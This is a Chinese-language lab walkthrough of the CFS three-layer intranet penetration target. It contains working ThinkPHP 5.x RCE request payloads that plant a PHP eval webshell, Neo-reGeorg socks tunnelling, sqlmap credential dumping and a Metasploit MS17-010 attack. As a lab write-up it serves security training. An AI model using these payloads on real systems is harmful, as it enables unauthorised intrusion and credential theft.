CFS三层靶机内网渗透
- 一、靶场搭建
- 1.基础参数信息
- 2.靶场搭建
- 2.1网卡配置
- 2.2Target1配置
- 2.2.1 网卡配置
- 2.2.2 Target1 BT配置
- 2.3Target2配置
- 2.3.1 网卡配置
- 2.3.2 Target2 BT配置
- 2.4Target3配置
- 二、内网渗透
- Target1
- 1.1信息收集
- 1.1.1IP收集
- 1.1.2端口收集
- 1.1.3目录收集
- 1.2 webshell获取
- 1.2.1手工POC注入
- 1.2.2蚁剑验证
- 1.3 Target1本机信息收集
- 1.3.1找flag
- 1.3.2 收集服务、端口、路由、ip、网段、内核等
- 1.3.3内网存活探测
- Target2
- 2.1信息收集
- 2.1.1 端口收集
- 2.1.2 目录收集
- 2.2webshell获取
- 2.2.1 后台获取
- 2.2.2 sql注入
- 2.2.3 拿shell
- 2.3 Target2本机信息收集
- 2.3.1找flag
- 2.3.2 收集服务、端口、路由、ip、网段、内核等
- 2.4 搭建二层代理
- Target3
一、靶场搭建
1.基础参数信息
网段:
Kali: nat
Target1: nat + 22
Target2: 22 + 33
Target3: 33三个靶机密码:
操作系统:root
登录密码:teamssix.comTarget1 BT(宝塔后台)
地址:http://x.x.x.x:8888/a768f109/ #此处为后台地址
账号:eaj3yhsl密码:41bb8feeTarget2 BT(宝塔后台)
地址:http://x.x.x.x:8888/2cc52ec0/ #此处为后台地址
账号:xdynr37d
密码:123qwe..
思维导图
2.靶场搭建
2.1网卡配置
新导入两张网卡VMnet2
和VMnet3
,配置网段192.168.22.0/24
和192.168.33.0/24
2.2Target1配置
2.2.1 网卡配置
VMnet8
和VMnet2
即NAT+22段
2.2.2 Target1 BT配置
Target1 BT
后台地址:http://192.168.231.128:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
配置添加域名192.168.231.128
和192.168.22.128
,使其可以访问
2.3Target2配置
2.3.1 网卡配置
VMnet2
和VMnet3
即22+33段
2.3.2 Target2 BT配置
暂时
先加入NAT网卡,以配置宝塔后台,配置完成后,移除NAT网卡
从kali中可以看出新加入的网卡地址为192.168.231.129
Target2 BT
后台地址:http://192.168.231.129:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
配置添加域名192.168.22.129
和192.168.22.128
,使其可以访问
最后删除刚刚添加的NAT网卡
2.4Target3配置
网卡配置:VMnet3
即33段,其他的就没什么了
接下来就可以开始内网渗透了,现在忘掉配置是的网卡信息,IP信息,后台信息等等,开始全真模拟
二、内网渗透
Target1
1.1信息收集
1.1.1IP收集
arp-scan -l
1.1.2端口收集
nmap -sV -sS -T4 192.168.231.128 -p 1-65535
1.1.3目录收集
dirb http://192.168.231.128/
或者
dirsearch -u http://192.168.231.128
1.2 webshell获取
根据收集到的端口、IP及目录信息等进行访问
通过访问80端口,以及Wappalyzer插件,透露出他的一些信息
接下来尝试用goby扫描,得知存在着两个可能的漏洞,这也可以通过网上搜索ThinkPHP V5历史版本漏洞得知
根据上述漏洞,可进行验证,验证方法多种1.手工POC验证,2.ThinkPHP V5一键工具等
在goby中漏洞验证也是成功的,说明漏洞可以利用
ThinkPHP 5.0.23 Remote Code Execution Vulnerability
ThinkPHP 5.x RCE
1.2.1手工POC注入
POC:输入系统命令: whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
POC:通过替换参数值,还可以将php代码写入文件, 此处我们写一个phpinfo
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=phpinfo.php&vars[1][]=<?php phpinfo(); ?>
然后在网页查看,发现可行,那么可以尝试构建webshell
POC:写入webshell,如果有过滤还可以采取编码方式
在这写了一个简单的一句话木马
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['lll']);?>
1.2.2蚁剑验证
验证成功,在这里webshell就拿到了
1.3 Target1本机信息收集
1.3.1找flag
find / -name "flag.txt" 2>/dev/null
1.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route翻翻目录、文件
1.3.3内网存活探测
方法一、允许上传的情况下上传工具(/tmp等有权限的目录中)在T1上做信息收集fscan等工具直接上传即可
方法二、直接通过正向代理工具neo-regroge建立socks通道,导入流量(无法使用icmp探测存活)上传tunnel文件,建立连接
neo-regeorg
搭建正向代理,不需要在对方服务器中额外开通端口,利用后端代码
下载地址:https://github.com/L-codes/Neo-reGeorg
Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password[+] Create neoreg server files:=> neoreg_servers/tunnel.jsp=> neoreg_servers/tunnel.jspx=> neoreg_servers/tunnel.ashx=> neoreg_servers/tunnel.aspx=> neoreg_servers/tunnel.php=> neoreg_servers/tunnel.go
上传对应后缀到web服务器
Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+Log Level set to [DEBUG]Starting socks server [127.0.0.1:1080]Tunnel at:http://xx/tunnel.php
+------------------------------------------------------------------------+
vi /etc/proxychains4.conf
至此1层代理搭建成功
通过proxychains工具可连接当前的socks代理工具,proxychains4配置代理后可将kali的流量通过T1服务器作为跳板进行扫描
代理插件使用
Target2
通过上述信息收集手段,获得开启的端口等,搭建代理访问
查找当前cms的历史漏洞,若无历史漏洞,下下策为找源代码审计,大部分系统不开源故不存在代码审计过程;
2.1信息收集
2.1.1 端口收集
proxychains nmap -Pn -sT 192.168.22.129
2.1.2 目录收集
dirsearch -u http://192.168.22.129/ --proxy socks5://192.168.231.135:1000
2.2webshell获取
2.2.1 后台获取
通过扫出来的目录找到/robots.txt,而/robots.txt给出了两个路径
Disallow: /admini/
Disallow: /index.php?r=admini*
sql注入点
<!-- Hint:SQL注入点:/index.php?r=vul&keyword=1>
后台获取
根据上述sql注入点以及robots.txt找后台地址
2.2.2 sql注入
--proxy代理参数
--dbs 所有库
--tables 某个库中的所有表
--columns 上一个表中的所有字段
1.数据库查询
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs --proxy=socks5://192.168.231.135:1000
2.查询表
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms --tables --proxy=socks5://192.168.231.135:1000
3.查询字段
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns --proxy=socks5://192.168.231.135:1000
4.查询内容
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password --dump --proxy=socks5://192.168.231.135:1000
后台账号密码
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | 46f94c8de14fb36680850768ff1b7f2a (123qwe) |
+----------+-------------------------------------------+
一登陆就看见一个flag
2.2.3 拿shell
登录后:重点关注上传(头像、文件、编辑器)、导出(文件、sql语句)、自定义模版(网站结构、默认页面更改),ssrf
登入后台后,根据历史漏洞提示后台模板存在一个rce问题
在页面中插入拿shell的语句
代理设置
蚁剑连接
2.3 Target2本机信息收集
重复T1信息收集的步骤对T2进行操作即可
2.3.1找flag
find / -name "flag.txt" 2>/dev/null
2.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route翻翻目录、文件
2.4 搭建二层代理
同理上传tunnel文件至T2通过T1建立socks端口,此时会在T1上生成代理通道
T1具备python环境
在T1中上传Neo-reGeorg-master
并解压
unzip Neo-reGeorg-master.zip
在T2中上传tunnel文件
代理开启:
python neoreg.py -k password -u http://192.168.22.129/tunnel.php -l 0.0.0.0 -p 2000
Target3
以T2为跳板访问T3
明确内网33.33服务器上存在两个可能有漏洞的端口3389(cve-2019-0708)、445(ms17-010)
proxychains nmap -Pn -sT -sV 192.168.33.33 -p 445,3389
proxychains msfconsole
search ms17_010
use 1
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
最后run